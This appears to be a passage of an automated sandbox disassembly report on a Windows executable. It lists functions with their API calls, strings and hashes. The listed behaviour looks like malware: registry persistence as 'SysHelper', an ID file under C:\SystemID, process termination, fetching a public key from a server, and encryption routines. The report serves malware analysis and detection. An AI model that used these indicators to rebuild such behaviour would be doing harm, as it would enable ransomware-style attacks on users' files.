MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

